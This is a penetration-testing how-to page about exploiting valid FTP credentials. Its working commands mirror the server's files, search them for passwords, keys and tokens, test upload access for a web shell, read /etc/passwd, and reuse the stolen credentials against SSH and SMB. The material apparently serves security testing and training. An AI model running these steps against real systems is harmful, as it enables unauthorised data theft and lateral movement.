Skip to content
HackIndex logo

HackIndex

FTP Credential Exploitation

3 min read Mar 16, 2026

Valid FTP credentials give authenticated access to the FTP file tree. The scope of access depends on the account's chroot configuration and filesystem permissions. From here the goal is to extract sensitive files, identify credential material that pivots to other services, and determine whether FTP write access leads to further impact.

Connect with Valid Credentials

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT

Enter $USER and $PASSWORD at the prompts. A 230 Login successful response confirms access.

With curl for non-interactive access:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/

Map the Directory Tree

List the full accessible tree from the root:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/ -l

Recursively list all subdirectories in an interactive session:

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT 
ls -la
cd /
ls -la

Some FTP servers chroot authenticated users to their home directory. Attempting cd / and observing whether the listing changes confirms whether chroot is in effect.

Download Files of Interest

Download a single file:

┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD ftp://$TARGET_IP:$PORT/path/to/file.txt -o file.txt

Download everything recursively with wget:

┌──(kali㉿kali)-[~]
└─$ wget -r --no-passive ftp://$USER:$PASSWORD@$TARGET_IP:$PORT/

With lftp for parallel and resumable transfers:

┌──(kali㉿kali)-[~]
└─$ lftp -u $USER,$PASSWORD ftp://$TARGET_IP:$PORT

Inside lftp:

ftp > mirror --continue --parallel=5 / /tmp/ftp_loot/

Search Downloaded Content for Credentials

┌──(kali㉿kali)-[~]
└─$ grep -r -i 'password\|passwd\|secret\|api_key\|token\|connectionstring' /tmp/ftp_loot/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /tmp/ftp_loot -name "*.conf" -o -name "*.config" -o -name "*.env" -o -name "*.xml" -o -name "*.ini" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /tmp/ftp_loot -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null

SSH private keys, database connection strings, application config files, and .env files are the highest value finds. Credentials recovered here are tested for reuse against SSH, SMB, and any other services on the target.

Test Upload Access

Even with standard credentials, the account may have write access to specific paths:

┌──(kali㉿kali)-[~]
└─$ echo "writetest" > /tmp/writetest.txt
┌──(kali㉿kali)-[~]
└─$ curl -s --user $USER:$PASSWORD -T /tmp/writetest.txt ftp://$TARGET_IP:$PORT/writetest.txt

If upload succeeds and the path is web-accessible, pivot to FTP Web Shell Upload.

If the server is not properly chrooted, path traversal via the FTP session may reach OS-level files:

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP $PORT 
cd /
cd /etc
get passwd

If /etc/passwd downloads successfully, the FTP daemon is running without chroot and the authenticated user can access the full filesystem with whatever OS-level permissions the FTP process holds.

Credential Reuse Against Other Services

FTP credentials are frequently reused across SSH, web application logins, and database accounts. Test the recovered credentials immediately:

┌──(kali㉿kali)-[~]
└─$ ssh $USER@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $USER -p $PASSWORD
┌──(kali㉿kali)-[~]
└─$ nxc ssh $TARGET_IP -u $USER -p $PASSWORD

References